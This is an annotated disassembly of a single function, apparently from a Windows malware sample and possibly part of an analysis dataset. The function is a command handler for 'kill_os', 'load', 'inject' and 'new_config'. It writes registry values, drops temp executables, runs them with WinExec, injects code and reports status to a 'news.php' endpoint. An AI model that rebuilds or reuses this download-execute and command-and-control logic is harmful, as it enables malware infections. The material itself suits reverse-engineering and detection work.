Function at 0x1000aa50
Capabilities:
Create process on windows
Create thread
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x42c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1000b162
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str._kill_os
push esi
call ebx
add esp, 8
test eax, eax
je 0x1000ab93
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push eax
push 0x102
push 0
push str.SoftwareMicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000aaef
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push eax
push 0x10020588
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10008f80
push 0
mov dword [esp + 0x1c], 0x3d6469
call fcn.10001b10
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ab05
lea edi, [esp + 0x18]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000ab13
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ab30
mov edx, dword [str.ret_valok]
mov ecx, dword [0x1001c3dc]
mov dword [eax], edx
mov edx, dword [0x1001c3e0]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [esp + 0x18]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ab60
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
push str._news.php
call fcn.1000a050
push eax
lea eax, [esp + 0x28]
call fcn.1000a120
lea ecx, [esp + 0x120]
push ecx
jmp 0x1000b142
push str._load
push esi
call ebx
add esp, 8
test eax, eax
je 0x1000ade6
push str._load
push esi
call ebx
lea esi, [eax + 6]
push 0x1001be48
push esi
mov dword [esp + 0x20], eax
call ebx
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1000abc9
mov byte [edi], 0
add esi, 7
lea edx, [esp + 0x330]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1000abd7
push 0x1001c3bc
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x1000b162
push 0x1001c3f8
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
je 0x1000b162
mov edx, eax
lea eax, [esp + 0x330]
push 0x1001c3f8
push eax
mov byte [edx], 0
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov esi, eax
mov byte [esi], 0
test edi, edi
je 0x1000ac3c
mov byte [edi], 0xa
lea ecx, [esp + 0x330]
push 0x1001c3bc
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x1000b162
lea edx, [esp + 0x228]
push edx
push 0x104
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0
lea ecx, [esp + 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 0x120]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ac97
mov edx, dword [str..exe]
mov cl, byte [0x1001b418]
mov dword [eax], edx
mov byte [eax + 4], cl
lea eax, [esi + 1]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000acb6
sub eax, edx
push eax
lea edx, [esp + 0x124]
push edx
push ebx
lea eax, [esp + 0x33c]
push eax
lea eax, [esi + 1]
call fcn.1000a120
test eax, eax
je 0x1000add4
push 5
lea ecx, [esp + 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x1000add4
push 0
mov dword [esp + 0x1c], 0x3d6469
call fcn.10001b10
mov edx, eax
jmp 0x1000ad10
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ad10
lea edi, [esp + 0x18]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000ad20
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ad40
mov edx, dword [str.loadok]
mov ecx, dword [0x1001c400]
mov dword [eax], edx
mov dl, byte [0x1001c404]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [esp + 0x228]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0
lea edx, [esp + 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 0x18]
lea edx, [eax + 1]
jmp 0x1000ada0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ada0
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
push str._news.php
call fcn.1000a050
push eax
lea eax, [esp + 0x28]
call fcn.1000a120
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0xc]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
mov byte [edx], 0x3f
jmp 0x1000b148
push str._inject_n
push esi
call ebx
add esp, 8
test eax, eax
je 0x1000afc5
push str._inject_n
push esi
call ebx
lea edi, [eax + 8]
push 0x1001be48
push edi
mov dword [esp + 0x20], edi
call ebx
add esp, 0x10
mov dword [esp + 0x14], eax
test eax, eax
je 0x1000b162
mov byte [eax], 0
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ae27
sub eax, edx
je 0x1000b162
lea ebx, [eax + 0x13]
and ebx, 0xfffffff0
push ebx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000b162
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push edi
call fcn.1001ab60
lea eax, [esp + 0x228]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0
lea edx, [esp + 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000aea0
sub eax, ecx
mov ebx, eax
push esi
lea eax, [esp + 0x124]
call fcn.10003f60
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
lea esi, [esp + 0x124]
call fcn.100078e0
mov eax, dword [esp + 0x14]
mov byte [eax], 0xa
push 0
mov dword [esp + 0x1c], 0x3d6469
call fcn.10001b10
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000aef0
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000af00
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
jmp 0x1000af20
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000af20
mov ecx, dword [str.injectok]
mov edx, dword [0x1001c418]
mov dword [eax], ecx
mov cx, word [0x1001c41c]
mov dword [eax + 4], edx
mov dl, byte [0x1001c41e]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [esp + 0x228]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0
lea edx, [esp + 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 0x18]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000af86
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
push str._news.php
call fcn.1000a050
push eax
lea eax, [esp + 0x28]
call fcn.1000a120
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
jmp 0x1000b148
push str._new_config
push esi
call ebx
add esp, 8
test eax, eax
je 0x1000b148
push str._new_config
push esi
call ebx
add esp, 8
lea esi, [eax + 0xc]
mov dword [esp + 0x10], eax
push 0x10020178
mov eax, esi
call fcn.10009f10
push 0x1001be48
push esi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x1000b162
inc esi
push 0x1002027c
mov eax, esi
call fcn.10009f10
push 0x1001be48
push esi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x1000b162
inc esi
push 0x10020380
mov eax, esi
call fcn.10009f10
push 0
push 0
push 0
push 0x1000a450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000b05a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1001be48
push esi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x1000b162
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
inc esi
push esi
call edi
add esp, 4
call fcn.1000a8d0
push 0x1001be48
push esi
call ebx
add esp, 8
test eax, eax
je 0x1000b162
inc eax
push eax
call edi
add esp, 4
call fcn.1000a940
push 0
mov dword [esp + 0x1c], 0x3d6469
call fcn.10001b10
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000b0b1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000b0c1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000b0e0
mov edx, dword [str.configok]
mov ecx, dword [0x1001c430]
mov dword [eax], edx
mov dx, word [0x1001c434]
mov dword [eax + 4], ecx
mov cl, byte [0x1001c436]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
lea eax, [esp + 0x18]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000b114
sub eax, edx
push eax
lea edx, [esp + 0x124]
push edx
push str._news.php
call fcn.1000a050
push eax
lea eax, [esp + 0x28]
call fcn.1000a120
lea eax, [esp + 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x10]
inc ecx
push 0x1001c438
push ecx
call ebx
add esp, 8
test eax, eax
je 0x1000b162
push eax
call fcn.1000aa50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4